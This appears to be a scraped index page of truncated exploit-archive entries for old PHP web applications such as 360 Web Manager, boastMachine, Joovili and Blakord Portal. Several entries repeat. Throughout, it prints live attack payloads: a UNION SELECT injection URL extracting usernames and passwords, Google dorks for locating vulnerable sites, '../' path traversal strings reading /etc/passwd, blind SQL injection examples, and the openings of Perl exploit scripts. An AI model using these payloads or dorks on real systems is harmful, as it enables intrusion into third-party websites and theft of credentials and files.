360-sql.txt

360 Web Manager CMS Remote SQL Injection Vulnerability Author: Ded MustD!e Site: http://www.360webmanager.com/ Google Dork: inurl:"IDFM=" "form.php" Exploit: http://site.com/form.php?IDM=7&IDSM=20&IDFM=-1+union+select+1,concatws0x3a,name,password,3,4...

boastMachine <= 3.1 (mail.php id) SQL Injection Vulnerability

Exploit for unknown platform in category web applications ============================================================= boastMachine = 3.1 mail.php id SQL Injection Vulnerability ============================================================= ...:::::boastMachine =3.1 SQL Injection Vulnerbility...

BoastMachine 3.1 - 'mail.php' id SQL Injection

...:::::boastMachine =3.1 SQL Injection Vulnerbility ::::.... Virangar Security Team www.virangar.org www.virangar.net -------- Discoverd By :virangar security teamhadihadi special tnx to:MR.nosrati,black.shadowes,MR.hesy,Zahra & all virangar members & all hackerz greetz:to my best friend in the...

360 Web Manager 3.0 - 'IDFM' SQL Injection

360 Web Manager CMS Remote SQL Injection Vulnerability Author: Ded MustD!e Site: http://www.360webmanager.com/ Google Dork: inurl:"IDFM=" "form.php" Exploit: http://site.com/form.php?IDM=7&IDSM=20&IDFM=-1+union+select+1,concatws0x3a,name,password,3,4...

binn-sql.txt

--==+=================== Spanish Hackers Team www.spanish-hackers.com =================+==-- --==+ Binn SBuilder nid Remote Blind Sql Injection Vulnerabily +==-- --==+====================================================================================+==-- + JosS + Spanish Hackers Team + Sys -...

Agares PhpAutoVideo 2.21 (articlecat) Remote SQL Injection Exploit

Exploit for unknown platform in category web applications ================================================================== Agares PhpAutoVideo 2.21 articlecat Remote SQL Injection Exploit ================================================================== !/usr/bin/perl Agares PhpAutoVideo 2.21...

Agares phpAutoVideo 2.21 - 'articlecat' SQL Injection (2)

!/usr/bin/perl Agares PhpAutoVideo 2.21 articlecat Remote SQL Injection Exploit Bug Found by ka0x http://milw0rm.org/exploits/4901 .. but sql injection works if we include in index.php bug file with sql injection..like this :...

Million Dollar Script 2.0.14 Remote File Disclosure Vulnerability.

-------------------------------------------------------------- Million Dollar Script 2.0.14 Remote File Disclosure Vulnerability. -------------------------------------------------------------- download : http://www.milliondollarscript.com author : p4imi0 contact : [email protected] exploit :...

sysHotel On Line Remote File Disclosure Vulnerability.

-------------------------------------------------------------- sysHotel On Line Remote File Disclosure Vulnerability. -------------------------------------------------------------- download : http://www.syshotelonline.it/ author : p4imi0 contact : [email protected] exploit :...

mds-disclose.txt

-------------------------------------------------------------- Million Dollar Script 2.0.14 Remote File Disclosure Vulnerability. -------------------------------------------------------------- download : http://www.milliondollarscript.com author : p4imi0 contact : [email protected] exploit :...

snitz-multi.txt

HSC Snitz Forums Multiple Vulnerabilities Snitz Forums Default Database installation allows remote users to download the database which contains critical information. As a result, an attacker exploiting this vulnerability will be able to obtain detailed information. An attacker may leverage xss...

snetworks-rfi.txt

+By CrackersChild+ Script.......: SNETWORKS PHP CLASSIFIEDS Page.........: http://www.snetworks.biz/ Author.......: CrackersChild | [email protected] & [email protected] Class........: Remote File İnclude Vulnerability Demo.........: http://xxxclassifieds.com/classifieds/...

ClipShare 2.6 Remote User Password Change Exploit

No description provided by source. !/usr/bin/perl -w priv8 Pr0metheuS Exploit Name: Clipshare Remote User Password Change Exploit Version Script: Clipshare 2.6 Dork: "Powered by Clipshare" EnjoY print "-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-"; print "\nClipshare 2.6 Remote User Passord...

AGENCY4NET WEBFTP 1 - download2.php File Disclosure

AGENCY4NET WEBFTP 1 - download2.php File Disclosure AGENCY4NET WEBFTP 1 download2.php Remote File Disclosure Vulnerability http://sourceforge.net/project/platformdownload.php?groupid=206982 POC : /Script/download2.php?file=../../../../../../../../../../../etc/passwd D0rk : : TrYaG-TeaM...

XCMS 1.83 - Remote Command Execution

XCMS 1.83 - Remote Command Execution Name : XCMS So the xcms allow you to modify the footer throught a bugged page called cpie.php included in the admin panel. So let's take a look to the bugged code. So with a simple html form we can change the footer. Ex: /textarea input type=...

MatPo Bilder Galerie 1.1 Remote File Inclusion Vulnerability

Exploit for unknown platform in category web applications ============================================================ MatPo Bilder Galerie 1.1 Remote File Inclusion Vulnerability ============================================================ +By CrackersChild+ Script.......: MatPo Bilder Galerie 1...

blakord-sql.txt

--==+=================== Spanish Hackers Team www.spanish-hackers.com =================+==-- --==+ Blakord Portal = 0 Exploit2: http://localhost/path/any module?id=1 and exists select from TABLE Example: http://localhost/path/any module?id=1 AND SELECT Count FROM users = 0 Example2:...

Joovili 3.0.6 - joovili.images.php Remote File Disclosure

Joovili 3.0.6 - joovili.images.php Remote File Disclosure found by EcHoLL version: 2. include/images.inc.php?picture=../../../../../../../../etc/passwd&thumbnail=FALSE include/images.inc.php?picture=../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd&thumbnail=FALSE version 3...

Blakord Portal Beta 1.3.A (All Modules) - SQL Injection

Blakord Portal Beta 1.3.A All Modules - SQL Injection --==+=================== Spanish Hackers Team www.spanish-hackers.com =================+==-- --==+ Blakord Portal = 0 Exploit2: http://localhost/path/any module?id=1 and exists select from TABLE Example: http://localhost/path/any module?id=1 A...

joomlamosdir-rfi.txt

--==+=================== Electronic Security Team www.Yee7.com =================+==-- --==+ Joomla Component mosDirectory 2.3.2 Remote File Inclusion +==-- --==+=============================================================================+==-- Software: Joomla Component mosDirectory 2.3.2 exploit...